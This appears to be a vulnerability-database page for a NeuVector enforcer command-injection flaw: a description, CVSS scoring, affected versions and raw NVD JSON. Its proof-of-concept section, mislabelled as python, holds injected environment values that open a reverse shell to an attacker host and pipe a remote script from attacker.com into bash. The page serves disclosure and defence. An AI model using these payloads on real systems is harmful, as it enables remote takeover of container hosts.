Security Vulnerability Report
中文
CVE-2025-54469 CVSS 9.9 CRITICAL

CVE-2025-54469

Published: 2025-10-30 10:15:35
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability was identified in NeuVector, where the enforcer used environment variables CLUSTER_RPC_PORT and CLUSTER_LAN_PORT to generate a command to be executed via popen, without first sanitising their values. The entry process of the enforcer container is the monitor process. When the enforcer container stops, the monitor process checks whether the consul subprocess has exited. To perform this check, the monitor process uses the popen function to execute a shell command that determines whether the ports used by the consul subprocess are still active. The values of environment variables CLUSTER_RPC_PORT and CLUSTER_LAN_PORT are used directly to compose shell commands via popen without validation or sanitization. This behavior could allow a malicious user to inject malicious commands through these variables within the enforcer container.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NeuVector < 5.3.0
NeuVector < 5.2.4
NeuVector < 5.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-54469 PoC - NeuVector Enforcer Command Injection # Environment Variable Injection via CLUSTER_RPC_PORT # Malicious value that injects a reverse shell command evil_rpc_port='1234; bash -i >& /dev/tcp/attacker-ip/4444 0>&1' evil_lan_port='1235; curl http://attacker.com/shell.sh | bash' # Start NeuVector enforcer with malicious environment variables docker run --privileged \ -e CLUSTER_RPC_PORT="${evil_rpc_port}" \ -e CLUSTER_LAN_PORT="${evil_lan_port}" \ neuvector/enforcer:latest # Alternative: Simple command execution injection evil_port='1234; id > /tmp/pwned' docker run --privileged \ -e CLUSTER_RPC_PORT="${evil_port}" \ neuvector/enforcer:latest

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54469", "sourceIdentifier": "[email protected]", "published": "2025-10-30T10:15:34.980", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in NeuVector, where the enforcer used environment variables CLUSTER_RPC_PORT and CLUSTER_LAN_PORT to generate a command to be executed via popen, without first sanitising their values.\n\n\nThe entry process of the enforcer container is the monitor\n process. When the enforcer container stops, the monitor process checks \nwhether the consul subprocess has exited. To perform this check, the \nmonitor process uses the popen function to execute a shell command that determines whether the ports used by the consul subprocess are still active.\n\n\nThe values of environment variables CLUSTER_RPC_PORT and CLUSTER_LAN_PORT\n are used directly to compose shell commands via popen without \nvalidation or sanitization. This behavior could allow a malicious user \nto inject malicious commands through these variables within the enforcer\n container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-54469", "source": "[email protected]"}, {"url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-c8g6-qrwh-m3vp", "source": "[email protected]"}]}}